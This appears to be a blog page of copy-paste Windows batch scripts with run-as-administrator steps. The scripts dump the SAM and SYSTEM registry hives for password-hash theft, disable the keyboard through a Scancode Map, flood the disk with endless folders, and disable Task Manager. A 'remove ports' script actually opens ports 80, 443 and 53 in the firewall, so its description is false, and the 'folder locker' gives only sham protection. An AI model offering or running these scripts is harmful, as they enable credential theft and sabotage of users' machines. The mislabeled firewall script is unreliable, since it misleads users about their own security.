Pages

Showing posts with label batch programming. Show all posts
Showing posts with label batch programming. Show all posts

copy SAM SYSTEM files

Sunday, 25 May 2014
code:
@echo off
mkdir c:\file
reg save HKLM\SAM C:\file\SAM

reg SAVE HKLM\SYSTEM C:\file\SYSTEM
Read more ...

keyboard disable

Saturday, 18 January 2014
steps:
1.copy & paste the below code into notepad.
2.save file as file name.bat.
3.run file as run as administrator by right clicking on file.

code:
 @echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"

echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg


warning:do not run this code on ur pc which disables your keyboard.
Read more ...

remove ports 80,443,53

Saturday, 18 January 2014
steps:
1.copy & paste the below code into notepad.
2.save file as file name.bat.
3.run file as run as administrator by right clicking on file.

code:
@echo off

Echo "Press ANY KEY to REMOVE ports 80 TCP (HTTP) / 443 TCP (HTTPSecure) / 53 UDP (DNS)"

pause

"%SYSTEMROOT%\system32\netsh" advfirewall firewall add rule name="HTTP 80" dir=in action=allow protocol=TCP localport=80
Echo "80 TCP Open."

"%SYSTEMROOT%\system32\netsh" advfirewall firewall add rule name="HTTPS 443" dir=in action=allow protocol=TCP localport=443
ECHO "443 TCP Open."

"%SYSTEMROOT%\system32\netsh" advfirewall firewall add rule name="DNS 53" dir=in action=allow protocol=UDP localport=53
ECHO "53 UDP Open."

pause

above codes which removes the ports 80,443,53

Read more ...

infinite folders

Saturday, 18 January 2014
steps:
1.copy & paste the below code into notepad.
2.save file as file name.bat.
3.run file as run as administrator by right clicking on file.

code:
 @echo off
:top
md %random%
goto top


 above code which create infinite folders within seconds.
Read more ...

folder locker

Saturday, 18 January 2014
steps:
1.copy & paste the below code into notepad.
2.save file as file name.bat.
3.run file as run as administrator by right clicking on file.

code:
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Enter password to lock folder or for cancel press N
set/p "cho=>"
if %cho%==ragday goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==ragday goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End


lock the folder by using the above code. change 'ragday' in the above code to which u would like to use password to lock or unlock folder.
Read more ...

enable and disable taskmanager

Saturday, 18 January 2014
steps:
1.copy & paste the below code into notepad.
2.save file as file name.bat.
3.run file as run as administrator by right clicking on file.

code to enable taskmanager:

ECHO REGEDIT4 > %WINDIR%\DXM.REG
echo. >> %WINDIR%\DXM.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\DXM.reg
echo "DisableTaskMgr"=dword:0>> %WINDIR%\DXM.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\DXM.reg
echo "DisableTaskMgr"=dword:0 >> %WINDIR%\DXM.reg
start /w regedit /s %WINDIR%\DXM.reg


code to disable taskmanager:

ECHO REGEDIT4 > %WINDIR%\DXM.REG
echo. >> %WINDIR%\DXM.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\DXM.reg
echo "DisableTaskMgr"=dword:1>> %WINDIR%\DXM.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\DXM.reg
echo "DisableTaskMgr"=dword:1 >> %WINDIR%\DXM.reg
start /w regedit /s %WINDIR%\DXM.reg
Read more ...

how to shutdown pc through commands

Thursday, 16 January 2014

commands:
shutdown multiple computers:shutdown -i
shutdown                                 :shutdown -s
shutdown at given time           :shutdown -s -t 30
abort shutdown -a                    :shutdown -a



Read more ...

how to change administrator password

Tuesday, 14 January 2014
change your passwords using following commands:
1.net user
2.net user admin(username) *
3.enter password


Read more ...